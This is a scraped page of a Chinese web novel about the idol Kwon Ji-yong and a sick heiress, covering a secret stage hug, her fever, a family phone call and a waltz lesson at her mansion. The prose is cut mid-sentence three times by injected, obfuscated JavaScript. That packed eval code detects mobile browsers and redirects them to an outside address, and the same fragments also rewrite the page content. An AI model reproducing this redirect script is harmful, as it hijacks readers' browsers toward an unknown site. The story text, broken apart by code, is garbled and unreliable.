l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068736|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是普通人天天看到也不可能开心得出来吧! 但看着已然入戏的李艺率,权至龙只能哭笑不得地装出十分惊喜且受宠若惊地模样:“哦莫,是我一直需要的东西呢!真的非常感谢!” 嘴上说着,身体还不忘鞠躬道谢。 虽然看上去更像是一副强行憋笑到快要直不起腰的内伤表情,但还是充分地给予了情绪价值。 李艺率见状,眉梢眼角染上了装模做样的笑意。心里想着可不是很需要嘛,一会他们离开的时候还得打手电筒摸黑悄悄溜走呢! 随后她当场掏出银河集团最新上市的一百万像素手机,在与某位权姓小伙僵硬的肢体语言中,肩膀贴着肩膀,头靠着头,站在舞台中央,迎着逆光合影留念后,整个流程终于迎来了尾声—— 李艺率:“接下来该你饭撒了。” 在刚刚经历完突然袭击式的靠近合影后,已经手足无措地捂着脸蜷缩起手脚的权至龙勉强挤出笑眼,声音颤抖:“要……要怎么做?握手吗?” 李艺率:“我这么幸运的粉丝怎么可能用一个握手就随便打发了?最起码也要到拥抱这种程度才行吧!” 说着她又竖起手指对权至龙摇头晃脑:“啧、啧、啧,所以说,小权你是还有得学呢~” 权至龙:“…………” 我唯独不想被你这么说! 李艺率上半身微微向后倾斜,对着权至龙张开双臂,倏然绽开笑颜。 唇角翘起新月般的弧度,眼下堆叠起饱满俏皮的小肉团。灯光落进她眼底,笑意便从眸中漫溢出来,如同星河坠落,溅起一片亮晶晶的碎芒。 她说:“欧巴,抱一下吧!”说完也不等他的反应,双手径直穿过他的两肋,毫无保留地,甚至带着些不由分说的莽撞,结结实实地拥住他。 砰砰、砰砰。 心跳沉重而狂乱地撞击着胸腔,几乎要冲破肋骨。搏动的声响,在骤然寂静下来的演播室里震耳欲聋。 他整个人都僵住了。 温软的身体带着不容置疑的力量撞进他怀里,似乎还残留着灿烂笑容的余温,分量竟比舞台上任何一道追光都要灼烫。 她的呼吸拂过他颈窝,激起细微而温热的气流。 他听见她说:“辛苦了,为了今天这一刻一定受了很多委屈吧。但是小权,感谢你为了站上舞台一直坚持到现在。” “今后也会怀着感激的心情一直为你应援的。” 心脏被一双无形的手紧紧掐住,权至龙感到眼眶一阵阵发热,喉咙发紧。他甚至忘了眨眼,忘记呼吸,像一尊被施了定身咒的石像,一时之间连指尖也忘记了该如何安放。 一种陌生的,巨大的,几乎要将他淹没的暖流,伴随着心跳沉重的闷响,轰然席卷了四肢百骸。 紧绷的身体线条,如同被投入温水的冰块,开始一点点、无声地融化。 带着滚烫的迟滞感,他试探性地抬起手臂,先是小心翼翼地悬停在她肩上,指尖蜷缩着,像是终于确认了这份拥抱的真实性,心头的犹豫被一种更汹涌的、连他自己都未曾预料到的渴望取代。 带着一种近乎虔诚的力道,终于,轻轻地,却无比坚定地,回拥住了怀中的温暖。 他的喉结滚动,咽下了所有翻腾的,复杂的,最终化为一片柔软酸胀的情绪,只留下一声低沉到几不可闻、带着浓浓鼻音的叹息:“不辛苦了。” 这个于他而言极为漫长的拥抱只是短暂维持了片刻,因为下一秒,演播厅观众席最后方的一侧大门被打开,一个穿着保安制服的工作人员打破了这份静谧。 似乎只是进行例行的检查工作,却没想到会凑巧撞见舞台中央仍然维持着紧紧相拥的姿势,下意识回头看向发出动静方向的权李二人。 保安:“…………” 权李二人:“…………” 双方互相对视一眼,那名中年保安先一步做出抱歉的姿态:“啊,打扰了,我只是例行检查。” 说着就打算退出演播室给二人腾出空间。 只是在即将关上门的那一刹那,他像是恍惚想起了什么,随即用力挥开大门,质问脱口而出:“呀,不对啊,你们是怎么进来的?灯又是怎么打开的啊?!” 李艺率:“…………” 权至龙:“…………” 说着,那名保安冲下楼梯,嘴里还愤愤咒骂着,“你们这两个小狗崽子,竟然敢跑到这个地方来谈恋爱!胆也太大了吧?!我今天一定要叫你们家长过来!……” 权至龙和李艺率两人对视一眼,仿佛终于在此刻意外对上了心有灵犀的默契。随即权至龙一把抓住李艺率的手,三步并作两步冲下舞台直接开溜。 李艺率则任由权至龙抓着,抡起两条腿跑得飞快。眼见身后保安紧追不舍,她转头冲保安大叔笑着眨眨眼:“阿加西,我们没有破坏任何设备,只是稍微借用一下而已~灯就麻烦您帮忙关一下咯,拜拜内——!” 跑出演播厅,转折穿过来时的消防通道,经过仍旧熙熙攘攘的商场,两只紧握着的手仿佛能够就此一直追到夜色的尽头。 * 直到坐在权至龙的自行车后座上,李艺率搂着权至龙的腰,一路上仍是肩膀轻颤,脸上闪动着恶作剧得逞的光,就连发丝都卷着愉快的波浪。 听着身后笑声清凌凌地撞进耳膜,连带着周遭空气都咕噜噜泛起甜泡,权至龙也跟着被笑浪撞得仰起了头,弯起了嘴角。 权至龙:“有这么开心吗?” 这还是第一次见她以一种如此毫无保留的方式,肆意释放情绪。 李艺率:“嗯!” 权至龙:“为什么啊?” 李艺率沉默许久,好半晌,风中传来她带着雀跃轻颤的声音:“觉得自由。” 自从患病以来,她尽量规避与旁人的肢体接触,甚至因为疾病的关系,不仅需要避免跑跳等动作,就连太大的情绪波动也会成为剧痛的诱因。 疼痛从来不是即刻发作的。 就像现在,她刚从亢奋状态稍稍平静,身体便立即开始报复。 空气徒然变得沉重,肺里灌满了铅水,蛮横地挤压着她的呼吸;迎面吹来的风撕下温柔的假面,化作锐利的薄刃,下一秒仿佛就能刺破她的面颊;肌肉被无形的阻力撕扯,每一束神经都在冲着大脑发出抗议尖叫;关节骨缝里钻出来一阵阵带着绝望意味的痉挛,她死死地用指甲抠住掌心,甚至无意识地收紧了环在他腰间的手臂,在疼痛的煎熬中将这份来之不易的、带着晚风的自由,更深地烙印进身体里。 好疼啊。 但那又怎样? 这是她患病一年多以来,从未有过的肆意。 所以她仍是笑着,即使是紧紧咬着后槽牙,即使只能勉强维持着僵硬的微笑。 想到这里,她用力吸了一口夜风,疼痛蛮横得灌满胸腔,她品尝着甘甜的自由,心中只有畅快。 “小权,你呢?你觉得开心吗?” “……嗯。” 少年的低音伴随着风声回荡在夜色中,隐匿在星光闪烁里。 “太好了,那今天可真是很棒的一天啊!” “嗯!” * 当天晚上,李艺率回到家中便发起了高热。 15. 去你家可以吗 李艺率从凌晨醒来时,发现自己正在燃烧。 这不是比喻——她的皮肤烫得灼手,身体变成了一座失控的熔炉。 作为需要依靠药物辅助才能进入深度睡眠的病人,生物本能突破了药物的桎梏,对大脑疯狂发起了警报。 内脏被浸泡在沸水里,肺部每一次扩张都伴随着剧烈的灼痛,像一点点地吸入碎玻璃。烧红的钢针顺着颅骨缝隙游走,每一下都精准剐蹭最敏感的脑膜。骨缝里被灌入了铅水,又强行拧紧螺丝。 她蜷缩在真丝床单上,眼前发黑,牙齿咬得咯咯作响,好半天才费力地抬起手指在床头摸索,挣扎着按下呼叫铃。 一阵杂乱的脚步声响起,有人推开门,急促的呼吸声在这样的夜里清晰可闻。 紧接着是房间的灯被打开,哪怕是紧闭着双眼仍是像针刺进她的视觉神经。 意识混沌间,她感觉到有冰凉的手指触摸她的额头,动作轻柔地仿佛她是什么易碎品。她听见有人在耳边低声呼唤她的名字,但她的灵魂早已飘远,疲惫得连睁开眼皮的力气也没有了…… 半梦半醒间,她感觉到有冰凉的液体顺着静脉推入。耳边低语交谈声一直没有停歇,她强撑着意识去分辨声音的主人,却很快又被这具身体拖入虚无。 * 李叡承送走家庭医生,回头望向蜷缩成一团已经安稳睡下的妹妹,摘下眼镜揉了揉胀痛的太阳穴,无声叹了一口气。 凌晨三点四十五分,手机屏幕的蓝光映照出他疲惫的脸庞。 他在手机键盘上按下一串烂熟于心的数字,拨通电话,那一头接起的动作迅速,显然也在一直等待着消息。 略带低沉的声音传来:“你妹妹情况如何?” 李叡承:“已经退烧了,刚刚注射了一针镇静,已经睡下了。” 隔着十四个小时的时差,他也能从电话那头父亲略带些如释重负的叹息,继而又说道:“应该是夜里吹风引起的,艺率昨天和朋友出去玩了。” 作为哥哥,李叡承其实并不十分赞同妹妹这么早就恢复社交状态。想到这里,李叡承试探性地开口:“阿爸,艺率才刚修养一年多,其实也没必要这么早就强求她正常上学吧……” 李叡承:“就算需要学习,在家学,或者挑一个好一点的环境也就算了,公立学校这样的环境……我们家的女儿,还愁没有好学历吗?艺率现在这样……对她还有要求是不是有点太苛刻了?” 说起来,李艺率虽然经常会小声抱怨哥哥是个超会管的严苛魔鬼,但兄妹俩实际生活中反而是身为成年人的大哥退让更多一些。 闻言,电话那头李在叙冷笑一声,“你的意思是不然就把你妹妹一辈子关在家里?” 李叡承:“…………” 似乎是回忆起一些不好的片段,李叡承深吸一口气,揉着眉心没有再度深入这个话题。他沉默片刻,转而提起另外一个话题:“具家那边又找上来了。” 像是沾上了什么麻烦的东西,李叡承的握紧手机,语气有些厌恶:“是为了芯片研发合作。他们家那个小子死的时候也没见有多上心,现在回过头来还要说一些不着边际的话,真是……一家子讨食的野狗。” 说着,李叡承问出了那个自事故发生以来,困扰他许久的问题:“阿爸,那场事故,真的是意外吗?” 电话那头沉默许久。 李在叙:“是或不是,你妹妹的情况都没办法挽回了,现在探究这些还有意义吗?” 李在叙:“不管怎么说,他们家那个庶子在车祸中保全了你妹妹,这是事实。人都已经死了,他们会想着上门讨要更多好处也并不奇怪。别让他们打扰到艺率就行,你身为小辈处理不了这些事的话就全部推给你姑姑吧。” 李叡承低低地应了一声。 两人又聊了一会工作上的事宜,沟通的语气与其说是父子交谈,莫不如说是下属汇报工作。眼见时间不早,父亲电话那头已经有秘书提醒会议的声音,李叡承简单问候两句,便匆匆挂断了电话。 * 周一一早,权至龙带着好心情上学,但今天氛围较往日不同。 阳光斜斜地洒进教室,他放下书包,习惯性地朝他左手边靠窗的位置望去—— 课桌空荡荡的,那个总是安静地浸润在光线里的身影不见了。 教室虽然依旧喧嚣,男生们嬉笑着讨论周末的球赛,女生们三三两两凑在一起分享着最新的八卦,但权至龙总觉得少了些什么—— 那个平日里即使不言不语也能让整个教室都生动鲜活起来的存在,今天缺席了。 课间,他摩梭着手机的外壳,主动给李艺率发去了一条信息。 他的前桌转过头对着他挤眉弄眼地调侃:“今天就你一个人了,寂寞吗?” 闻言,他只是礼貌的微笑。 好半晌,手里的震动传来,带着小翅膀的信封图标提示他有一条新的邮件。 [嗯,因为睡过头就和哥哥撒娇不去学校了 ^ ^] 权至龙嘴角微扬,心中一块石头落地。能把逃课这件事说得这么理直气壮的,估计也就这位大小姐了吧。 因为李艺率的缺勤,权至龙难得的在午休时向同校同公司的好友东永裴发出了一起到活动室打发午休时间的邀请。 他拎着从便利店买回来的速食,带着永裴打开了活动室的大门,并毫不意外地收到了一连串感叹。 “大发,和我上次来的时候完全不一样呢!” 永裴环顾四周,长大了嘴巴,指着新添置的音响设备和墙上悬挂的超大尺寸液晶屏幕,又看了看角落边上布置好的电视柜和懒人沙发,心里一时说不清是感叹多一点还是无语多一点:“这些我们都可以用吗?” 权至龙:“嗯,书柜上的书也都可以看,有很多漫画书,电视柜下面有影碟,你感兴趣的话也都可以看。但是画架那边尽量不要去碰,之前看她有玩油画,也不知道颜料干了没有。” 永裴:“……你们真的是来学习的吗?谁会想到把这些东西搬来学校里啊?!” 权至龙挑眉:“可别,没有你们。这些都是艺率弄来的,与我无关啊!” 他可是再正常不过的高中生,千万别对他指指点点! 永裴:“…………” 虽然已经听过许多次权至龙对这种大小姐做派的详细描述以及无奈的吐槽,但如今亲眼见到还是让他忍不住咂舌,只能感叹道:“果然是大小姐啊,这些东西得花不少钱吧。” 永裴指着电视机边缘印着银河Galaxy英文LOGO的图标:“上次去商场看到这个牌子的普通尺寸液晶电视标价要四五百万呢,她怎么随随便便就能搞来两台放学校里啊!” 权至龙:“……我不知道,她说家里就有做这个。” 永裴:“……………” 他上前一把捂住权至龙的嘴,语气里满是对兄弟开上路虎的愤愤:“好了,我知道了,你不许再说了。” 权至龙:“………………” 这又关他什么事啊! * 告别了满脸魔幻,表情写满了对上流财阀震撼的永裴,权至龙在回教室的途中遇到了班主任朴贤泰,并被对方主动邀请至教师办公室谈话。 本以为会是什么严肃的话题,一路上权至龙不停脑内风暴搜索自己近期是不是有惹麻烦,没想到结果只是班主任皱着一张和蔼的脸,主动询问他是否能代表班级参加年底学校的校庆活动。 权至龙:“…………” 这倒并不是什么大事。 韩国高校的校庆传统向来丰富,一些高等院校会在校庆日当天专门邀请已经出道的艺人明星前来表演,并且会有粉丝见面会等互动活动,已经小有娱乐至死的雏形。 像他们这些普通高中,自然无法和高校的财力实力相提并论,最多不过是由班级为集体或派个人为代表,组织举办文艺表演项目。权至龙从小学起就已经是练习生,所以国中三年的校庆活动他被默认为主要代表,对这样的舞台早已经轻车熟路。 见他没多考虑便点头应下,朴贤泰也毫不意外,只是笑眯眯地请他帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068737|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙整理一下课堂小测的卷子带回班级,转头又和隔壁班的班主任说起了闲话。 教师:“你们班那位今天请假了吗?” 权至龙心神一动,听出所谓的‘那位’指的就是李艺率,于是手上的动作没丝毫停顿,耳朵已经迫不及待竖起偷听。 朴贤泰:“是啊,听说是生病了。哎一古,真是个体弱的孩子啊。” 权至龙:“…………” 是生病了吗?怎么上午发信息的时候她没说? 教师:“那位的情况我也听说了,真的很特殊呢。开学之前上面找过你几次?” 闻言朴贤泰只是不动声色撩了一下眼皮,淡淡道:“哪有这么夸张?不过是正常的沟通罢了。” 隔壁班的教师见他不接招也不气馁,仍是锲而不舍追问:“听说是李健锡的孙女?那种家庭的孩子怎么会到我们学校来上学?!” 朴贤泰:“这谁能知道呢,也不敢随便打听啊。” 这就算是默认了。 接下来成年人之间的机锋权至龙已经无心听下去了,他匆忙整理好试卷抱在手里,和朴贤泰打了个招呼便匆匆告别。 回到教室,他将试卷往讲台上匆匆一方,便回到座位拿起手机给李艺率发信息:[刚刚在班主任办公室听说你生病了?] 片刻后,震动提示响起。 [嗯,已经退热啦,没那么夸张。] [但是还是想偷懒一天 ^ ^] 尽管隔着手机屏幕,文字里还是那股子随心所欲的俏皮劲,可权至龙心里却升起本能的不安。 是不是周六那天晚上受凉了? 他们那天跑了好一阵,又骑车绕着城区吹了好一阵的风,考虑到李艺率体弱的脆皮人设,这个可能性被无限拔高。 想到这里,权至龙抿着唇心里的愧疚越发焦灼。 他深吸一口气,迅速敲下回复:[你在医院吗?我想去看看你。] [我在家呢,你要来吗?] 他盘算着今天书包里带的钱,似乎不够买一点像样的拜访礼物。 ……要不一会去问永裴借一点看看吧。 这么想着,他快速摁响键盘敲下一行文字:[嗯,去你家可以吗?] 等待的时间被无限延长,权至龙心里直打鼓。 会不会太唐突了?他们之间的关系好像并没有好到可以去家里拜访的程度。 直到上课铃声响过,手机屏幕才终于亮起。 [可以啊,刚刚打了电话拜托司机放学去学校接你了。] 权至龙:………… 也没必要夸张到这种程度吧! * 这天放课,权至龙兜里揣着几万块钱,准备在学校附近的商店街买点像样的拜访礼物。 是的,这几万块钱还是他和永裴两人勉强拼凑的,对比活动室里动辄几百万的大件,实在很不值一提。 但这却也是权至龙好几天的伙食费了。 走出校门,权至龙还在心里盘算着买点什么,就听到有人在身后喊他:“打扰了,是小权同学吗?” 这种熟悉的叫法让权至龙意识到可能是李艺率提前打过招呼专门来接他的人——他十六年的人生中,小权这个称呼仅仅属于一人所有。 小权,小权。 脑子里李艺率那张茸茸暖意顺着眼波流转、仿佛裹着蜜糖的阳光一样甜滋滋的笑脸,轻柔地搔过他的心尖。 权至龙下意识应了一声:“内!” 他转过头。 眼前是一辆黑色的德系轿车,出声的正是一名西装革履的青年。 青年坐在驾驶位,修长的手指随意搭在方向盘上。他的五官面容斯文俊秀,被金丝眼镜边框遮住的眉眼与李艺率有些相似,但多了几分冷峻的轮廓和不动声色的气势,一眼就能看出与李艺率在血缘上一脉相承的矜贵气质。 但在他笑起来时,那双与李艺率如出一辙的笑眼瞬间冲淡了疏离感:“我叫李叡承,是艺率今天委托来接你的司机。” “来,上车吧。” 16. 圆舞曲 汽车平稳驾驶,权至龙的心却一直停留在嗓子间,手心直冒汗。 独自见朋友家长这种事,还是他头一次经历。况且,只要是一想到身边的人是李艺率的家长,甚至一会还要空手上门拜访……不知怎么的,他心里就涌上一股莫名的心虚。 权至龙深吸一口气,试图平复心跳,主动开口感谢对方特意来接,“那个……今天真的很感谢您能专门来接我。” 李叡承:“不用这么客气,叫哥就行了。”说着趁等红灯的间隙,转过头看了一眼坐在副驾驶座,正不安地捏着安全带边缘的权至龙,试图打消身边这个几乎快要碎掉的少年紧张的情绪,“至龙xi,我看上去是不是和艺率长得挺像的?很多人都说过我们一眼就是亲兄妹。” 权至龙点头。 倒也不是五官上的相似,更多的是一种气韵上的契合。 “不止是长相,光听名字就能感觉出来是亲兄妹。” 李艺率(Lee Ye Seol)和李叡承(Lee Ye Seung),从名字上就能听出血脉上的渊源,为兄妹二人命名的人当初想必也是花了一番心思。 李叡承轻笑一声,似乎仅仅是因为与李艺率有这样细微关联就能让他发自内心觉得愉快。 “我的小妹妹性格很差劲吧?” 权至龙:“…………” 他连连摆手,如果不是还系着安全带说不定半个身子都会从座椅上弹起来,“我没有这样想过!……好吧,最开始刚认识的时候会觉得有点任性。” 权至龙抿了抿唇,在李叡承鼓励的目光下结结巴巴道:“但是相处久了就会发现,她虽然是很孩子气的性格,但实际上会在很多地方都能感受到她对人的尊重,而且也很关心朋友……对我有很大的支持。说实话,这让我觉得很感激但同时也很不安……我好像,没有什么能回报的地方。” 这是权至龙与李艺率成为好朋友后常常会思考的一件事。 为什么要对我这么好呢?我真的值得被这样对待吗?我真的……能够回报这样的善意吗? 作为早早离家生活在陌生集体中的孩子,常年被指使着做无关紧要的跑腿杂活、得不到他人关注经常被忽视的一员,十六岁的他并不像普通受尽家人关爱的孩子一样拥有配得感。尽管李艺率对他的友善和体贴让他感到十分窝心,可更多时候权至龙会在心中升起隐隐的不安,像被一根柔软的刺扎在心间,惶恐得让人想要逃避。 依赖是会上瘾的体外器官,第一次直接尝到被人托着下坠的甜头以后,脊椎就主动退化成了软体动物。 青春期的权至龙已经早早在脑子里有了一些哲思的雏形,因此他只感到恐慌。 这个世界是没有什么永远的。 像他这样的人说不定很快就会被丢弃,那么到时候,已经习惯于沉溺在他人温暖中的自己,该如何面对突如其来的孤独和背弃感? 李艺率……真的会和自己做一辈子的朋友吗? 权至龙眼神复杂地望向窗外,思绪如潮水般涌动。 或许是感受到了他突如其来的情绪低落,李叡承只是像说出些很不值得一提的小事般淡淡开口:“至龙xi,这个世界上并不是所有事情都需要计较得失流动的。就像有人送你一朵花,仅仅是想看到你为了那枝花而感到高兴,而不是希望收到一束作为回礼。” 李叡承:“有人对你好,当然是她认为你值得。” 还真的是亲兄妹啊,这种理所当然的语气简直和李艺率一模一样,权至龙闻言心头有些酸胀,却忍不住悄悄勾起嘴角。 李叡承:“当然了,也可能因为你是艺率的第一个同龄朋友吧,艺率或许会有些拿捏不好和朋友交往的尺度,希望你能够在这一点上多多包容一些。” 脑子里浮现了具家那个野狗一样爱钻营的小子,李叡承心里暗道一句晦气,又转过头对着权至龙和颜悦色。 权至龙闻言甚至心头那点残余的伤感都被一扫而空,他睁圆了不大的眼睛,表情震惊:“……真的假的?居然是我吗?!” 真的会有人等到十六岁了才交上第一个朋友吗?未免也太孤僻了吧!! 李叡承:“真的,我们艺率从小就是很内向害羞的孩子啊。” 权至龙:“…………”内向害羞?谁?李艺率吗?! 哥,虽然很不想承认,但是你的滤镜好像比我要厚得多啊! * 这一头权至龙和李叡承开启了有关李艺率的话匣子,而另一边作为话题本人的李艺率嘴里也并没有闲着。 她蜷在床单上,看着依靠在阳台一副观赏窗外风景姿态的具时望,明明只是庭院一角一成不变的景色,可偏偏三男这个家伙每天都看得津津有味。 李艺率:“这有什么值得看的?每天在家不是看了几百遍吗。” 具时望:“日升星落,云卷云舒,四时风景,各有不同。哪怕是一点点细微的变化也是美好的,能亲眼看到就已经让人觉得庆幸了。” 李艺率:“…………” 她悄悄蜷缩起脚趾,整个人写满了看熟人装○的无助。 李艺率:“所以你的心愿是看遍好风景?这都已经看完了你怎么还没消失啊!” 具时望闻言只是似笑非笑:“真的是我不愿意消失吗?” 李艺率:“…………” 他话里有话,可李艺率却本能地抗拒深思。她抿了抿唇,转开视线,轻声道:“最近为什么都不爱出门了?前两天让你跟我一起出去找小权玩你也不肯去。” 具时望摊手:“你们小屁孩的活动,我可不想参与。” 神气什么啊!她还会再长大的!李艺率本想出声反驳,但话到喉间还是咽了回去。 具时望的时间永远停留在了二十岁那年。 敲门声打断了她偶然的伤感,白姨母在门外提醒她,“艺率啊,叡承快到家了,带着你朋友来探望你。” 李艺率应了一声从床上爬起来,又问道:“你要和我一起去吗?” 具时望:“不了,你们玩吧。” 李艺率:“那你等我一会回来找你。” 就像小时候他们做过无数次的那样。 就像她在具时望肉/体消亡之后一直所做的那样。 具时望没有回答,只是背对着她,抬手敷衍地挥了挥,任由她合上了房门。 * 虽然想过李艺率家境不凡——毕竟时常能从李艺率不同于普通同龄人的价值观和言谈举止中窥见一二,可真正站在眼前这个占地1200平自带私人花园和泳池的独栋别墅前,权至龙内心还是受到了来自财阀阶层的上流震撼。 李叡承把车钥匙递给住家家政请他帮忙停好车,转身对权至龙笑道:“走吧,艺率已经在等了。” 雕花铁艺大门后,四层高的独栋别墅在暮色中巍然矗立,大理石外墙被镀上一层金边,两旁修剪得一丝不苟的灌木丛泛着油亮的光泽,像一幅流动的油画,恍惚间似乎还能闻到混合着玫瑰与雪松檀木的香气。 李艺率站在别墅大门口迎接他。 她穿着一套奶白色的真丝家居服,上衣是法式衬衫的设计,领口轻扬绣着浅绿色的刺绣,披肩的长发被扎在脑后团成丸子的形状,额间毛茸茸的小碎发衬得她的脸颊愈发娇小,整个人都透着一股子未经世事的纯真。 “小权,欢迎你来我家!” 说着,李艺率也不等他回应便急匆匆拉着他进屋。 权至龙被她带着穿过入户玄关,6米挑高全开放式客厅让眼前豁然开朗,落地窗将庭院景致框成巨幅风景油画,映照出细腻的光泽。意大利大理石地面延伸至每个角落,倒映着顶部的水晶悬浮吊灯,勾勒出暗香浮动的奢华线条感。 几名住家帮佣正各司其职完成自己的工作,路过一名相貌和善的中年女人时,李艺率特地停下来介绍。 李艺率:“小权,这位是白姨母,我们每天的午餐就是由她负责的哦。” 言语之中颇有些这是份很了不得的任务,逗得中年女人眼下的褶皱愈发深了些。 权至龙:“您好,初次见面,很荣幸能一直受到您的照顾。” 白姨母笑着回应:“经常在家听见艺率提起你,至龙xi,不用那么拘谨。”说着白姨母看向李艺率,“我去厨房准备些吃的招待你朋友,晚上就一起留在家里吃饭吧。” 李艺率:“嗯!麻烦啦~”说完就准备拉着权至龙继续参观,他冲着白姨母微微颔首这才跟上李艺率的脚步。 电梯轿厢停在三楼,权至龙走出厢门还满脸梦幻,怎么还会有人专门在家里安电梯啊?! 李艺率则是对此一副满不为意:“我之前坐过很长时间的轮椅啊,没电梯上下楼多不方便。” 权至龙:“…………” 因为这家伙平时给他的印象过于活蹦乱跳以至于他时常会忘记她的脆皮人设。 李艺率:“这层就是我活动的地方啦,要不要看一下我的房间?” 权至龙:“……还是不了吧。你这家伙也稍微注意一点啊,哪有随便邀请异性参观自己房间的啊?!” 李艺率:“只有满脑子H的男高中生才会在意这种小事吧!” 权至龙:“…………” 熟悉的窒息感又冲上脑子,这家伙即便是在养病期间也能有把他气得跳脚的本事啊! 在书房画室和公主的衣帽间稍微逛了逛,权至龙指着一间紧闭着的房门好奇地问道:“这个房间怎么锁着?” “哦,这个啊。”李艺率犹豫一瞬,继而又耸耸肩轻描淡写道“这是我的琴房,现在不怎么使用了。” 说着,她若无其事地在墙边的置物架上找到钥匙打开房门,“进来看看吧。” 房间内是极为专业的吸音地板和隔音墙面设计,整面落地书柜墙上摆满了CD和琴谱,隐约还有几个奖杯模样的摆件,只是权至龙来不及凑近细看。 一架黑色三角斯坦威Model D静静立在房间中央,烤漆面反射着柔和的光线,空气中还弥漫着淡淡的松香。 虽然听李艺率说得漫不经心,但这里怎么看都是一副日常有被好好打理的样子。 权至龙:“你还会弹钢琴吗?” 李艺率微微垂下眼睑,像是回应些很不值一提的小事:“嗯,以前学过,现在很少弹了。” 明明她的气质看上去就很适合玩这些古典乐器的样子,不坚持弹下去多可惜啊。 虽然李艺率的表情与平常无异,但权至龙就是莫名在心中生出一种好像不能追问的直觉,于是便转移话题说道:“我也想学钢琴,可是我们公司没这个条件,平时最多只能玩玩制作人哥哥们的电子键盘。” 李艺率:“你想学啊?我可以教你的。” 权至龙心中一喜:“真的啊?不会太麻烦你吗?” 李艺率歪头:“只是教会你弹钢琴而已,这不是比吃饭还简单的事情吗?!” 权至龙:“…………” 对比她平时吃饭困难的模样,好像听起来真的要简单很多。 “对了,带你去看个好玩的东西!”说着,李艺率锁好琴房的门将钥匙往旁边一丢,拉着权至龙就去了隔壁的影音室。 推开厚重的隔音门,影音室比预想中要大上许多,看上去大概有超过150平,像是特意将几个房间打通专门设计的听音室,墙面覆盖着厚重的隔音棉。 最引人瞩目的是一对超过两米的巨型音箱,看单个的体积似乎比双开门冰箱还要大上不少,黑色方尖碑般沉稳矗立着,通体钢琴烤漆的箱体在柔和的氛围灯下泛着幽光,顶部独特的铝带高音单元像艺术品一般闪耀。 这显然是李艺率的新奇宝贝,她颇有些兴奋的介绍到:“噔噔——莫柏林101 X-Treme升级版,陶瓷单元搭配钻石高音,音质超棒的!” 李艺率:“我爸爸帮我从德国定的,为了把这一对弄上来废了不少功夫,专门打通了三个房间改装成听音室,因为个头实在太大太重了,家里的电梯专门改成了液压式的才能被运上来呢!” 权至龙:“………………” 虽然李艺率从头到尾没有提过任何与金钱相关的数字,一对顶级听音系统的造价可能对李艺率的家庭来说也不过是简单的数字,但真正让权至龙感叹的地方在于,如此兴师动众的投入,不过是为了满足她一个‘音质超棒’这样微不足道的评价,看得出来这个家里从上到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068738|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下对李艺率真是有够溺爱的。 不过早已习惯她不知疾苦的富家千金做派,权至龙倒也没有生出什么被炫耀一脸的反感,只是顺着她的兴头道:“真的音质超棒吗?那让我也听听看吧。” 于是李艺率便用遥控器启动摁下播放键,《蓝色多瑙河》的声场摇曳在空气中,音符如水波般荡漾开来。 顶级的奢华音响系统赋予了声音形状、温度,乃至色彩,低音像深紫色的绸缎在脚边流淌,小提琴的泛音如同金色的细沙从天花板洒落。 李艺率:“怎么样,听到熟悉的旋律是不是立马有一种下课的快乐?” 这是他们午休时校园喇叭里的固定曲目。 权至龙:“……的确够熟悉的。” 傍晚的阳光透过玻璃落地窗洒落,音乐与光影交织。李艺率此时兴致颇高:“真是很棒的音色啊!小权,趁着这么好的氛围,我们来跳舞吧!” 权至龙:“跳舞?这……这怎么跳?” 这种音乐很显然更适合跳交谊舞,可他学的都是些hiphop街舞啊! 李艺率疑惑:“你小的时候没学过华尔兹吗?我被奶奶要求着练了很久呢!”说着,她握拳拍手一副恍然大悟的模样,“那你小时候是不是学的马术啊?我听说很多小孩都会被家里要求学马术。” 继而又好奇的问道:“你的小马叫什么名字呀?” 权至龙:“………………” 叫什么名字他也不知道,因为他从出生到现在也还没见过他的小马! 权至龙:“……什么马术,我连奥数都没学过。” 李艺率:“对哦,你很小就做练习生了,是没有时间学这些东西。” 说着她又瞥了一眼权至龙,那眼神看上去似乎格外羡慕:“真好啊,你一定拥有完整的童年吧!” 不,普通孩子是不可能会有马术华尔兹这样丰富的童年经历的,权至龙在心里吐槽。 作为从小就被妈妈带到各大片场流窜的童星,八岁就在S·M成为练习生的权至龙显然也不可能拥有一个完整的童年。 但想跟李艺率解释清楚这些有些困难,于是权至龙只能选择含糊的默认。 权至龙:“…………差不多吧。” 于是小时候接受了漫长的家庭课程,出于对权至龙‘完美人生’的嫉妒,李艺率提出要教他跳华尔兹,并美其名曰“帮忙填补童年的遗憾”。 权至龙:………… 怎么到头来受伤的还是他啊?! * One、Two、Three—— 华尔兹的舞步基于圆舞曲3/4拍音乐“强-弱-弱”韵律,将步法拆解为每小节三步的波浪式流动感。 李艺率纤细的手指搭在权至龙肩上,另一只手被他小心翼翼地握在掌心。 往常他被公司舞蹈老师夸过的,最令他自信的柔软肢体动作在此时变成了笨拙的提线木偶,浑身僵硬地像是被灌了水泥,只一味地盯着自己的脚尖。 One、Two、Three—— 李艺率轻笑:“干嘛这么紧张?这不是很简单嘛!放轻松,跟着节奏就可以了。” 